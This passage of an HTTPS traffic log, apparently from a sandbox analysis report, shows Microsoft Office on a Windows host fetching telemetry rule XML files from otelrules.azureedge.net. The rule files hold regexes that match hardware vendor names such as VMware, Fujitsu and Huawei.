2024-11-24 01:14:06 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 01:14:06 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA41997E3" x-ms-request-id: 7fd471a5-f01e-00aa-27bf-3b8521000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T011406Z-15b8b599d88cn5thhC1TEBqxkn00000003pg000000005ca4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 01:14:06 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 56 76 5d 5b 4d 6d 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120621" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <SR T="2" R="([Vv][Mm][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.4	49780	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 01:14:06 UTC	192	OUT	GET /rules/rule120622v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 01:14:07 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 01:14:06 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8CEAC16" x-ms-request-id: caffefd3-a01e-003d-6e3c-3c98d7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T011406Z-178bfbc474bpnd5vhC1NYC4vr4000000056g00000000fbkq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 01:14:07 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120622" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.4	49781	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 01:14:06 UTC	192	OUT	GET /rules/rule120623v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 01:14:07 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 01:14:07 GMT Content-Type: text/xml Content-Length: 464 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97FB6C3C" x-ms-request-id: d05e48d4-001e-0065-1c06-3d0b73000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T011407Z-178bfbc474bwlrhlhC1NYCy3kg000000056g00000000f8b2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 01:14:07 UTC	464	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 49 69 5d 5b 47 67 5d 5b 41 61 5d 5b 42 62 5d 5b 59 79 5d 5b 54 74 5d 5b 45 65 5d 20 5b 54 74 5d 5b 45 65 5d 5b 43 63 5d 5b 48 68 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 47 67 5d 5b 59 79 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120623" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <SR T="2" R="([Gg][Ii][Gg][Aa][Bb][Yy][Tt][Ee] [Tt][Ee][Cc][Hh][Nn][Oo][Ll][Oo][Gg][Yy])"> <S T="1" F="1" M="Ignor

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.4	49782	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 01:14:06 UTC	192	OUT	GET /rules/rule120624v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 01:14:07 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 01:14:07 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB7010D66" x-ms-request-id: f1d8b84e-f01e-0096-7de6-3d10ef000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T011407Z-178bfbc474bv7whqhC1NYC1fg400000005c00000000006h0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-24 01:14:07 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120624" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.4	49785	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 01:14:08 UTC	192	OUT	GET /rules/rule120625v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 01:14:09 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 01:14:09 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:42 GMT ETag: "0x8DC582B9748630E" x-ms-request-id: a56dfe0e-901e-0029-2976-3b274a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T011409Z-174c587ffdfn4nhwhC1TEB2nbc00000003rg00000000kxac x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 01:14:09 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 46 66 5d 5b 55 75 5d 5b 4a 6a 5d 5b 49 69 5d 5b 54 74 5d 5b 53 73 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120625" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <SR T="2" R="([Ff][Uu][Jj][Ii][Tt][Ss][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.4	49786	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 01:14:08 UTC	192	OUT	GET /rules/rule120626v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 01:14:09 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 01:14:09 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DACDF62" x-ms-request-id: 7a05741d-701e-0021-0754-3c3d45000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T011409Z-15b8b599d88hd9g7hC1TEBp75c00000003u0000000000m6y x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 01:14:09 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120626" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.4	49787	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 01:14:08 UTC	192	OUT	GET /rules/rule120627v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 01:14:09 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 01:14:09 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:54 GMT ETag: "0x8DC582B9E8EE0F3" x-ms-request-id: ce177898-401e-00a3-1d03-3d8b09000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T011409Z-178bfbc474bscnbchC1NYCe7eg00000005f00000000059v9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 01:14:09 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4e 6e 5d 5b 45 65 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120627" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <SR T="2" R="^([Nn][Ee][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.4	49789	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 01:14:08 UTC	192	OUT	GET /rules/rule120628v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 01:14:09 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 01:14:09 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C8E04C8" x-ms-request-id: be1025a3-a01e-0002-661b-3d5074000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T011409Z-178bfbc474bbcwv4hC1NYCypys00000004zg00000000p6tx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 01:14:09 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120628" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.2.4	49790	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 01:14:09 UTC	192	OUT	GET /rules/rule120629v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 01:14:09 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 01:14:09 GMT Content-Type: text/xml Content-Length: 428 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC4F34CA" x-ms-request-id: 876ff6fa-901e-00a0-47eb-3d6a6d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T011409Z-178bfbc474bv7whqhC1NYC1fg400000005b00000000037sk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-24 01:14:09 UTC	428	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 2d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120629" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo]-[Ss][Tt][Aa][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.2.4	49791	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 01:14:11 UTC	192	OUT	GET /rules/rule120630v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 01:14:11 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 01:14:11 GMT Content-Type: text/xml Content-Length: 499 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:45 GMT ETag: "0x8DC582B98CEC9F6" x-ms-request-id: ed298b8a-a01e-0002-322d-3c5074000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T011411Z-178bfbc474bbbqrhhC1NYCvw7400000005d000000000ar9s x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 01:14:11 UTC	499	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120630" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.4	49794	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 01:14:11 UTC	192	OUT	GET /rules/rule120633v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 01:14:11 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 01:14:11 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB32BB5CB" x-ms-request-id: a8d62205-901e-0083-0c0e-3bbb55000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T011411Z-174c587ffdfcb7qhhC1TEB3x7000000003wg00000000266t x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 01:14:11 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 53 73 5d 5b 41 61 5d 5b 4d 6d 5d 5b 53 73 5d 5b 55 75 5d 5b 4e 6e 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120633" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <SR T="2" R="([Ss][Aa][Mm][Ss][Uu][Nn][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.4	49792	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 01:14:11 UTC	192	OUT	GET /rules/rule120631v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 01:14:11 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 01:14:11 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B988EBD12" x-ms-request-id: 8017546c-101e-000b-4720-3d5e5c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T011411Z-178bfbc474bv7whqhC1NYC1fg400000005c00000000006p4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 01:14:11 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 48 68 5d 5b 55 75 5d 5b 41 61 5d 5b 57 77 5d 5b 45 65 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120631" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <SR T="2" R="([Hh][Uu][Aa][Ww][Ee][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

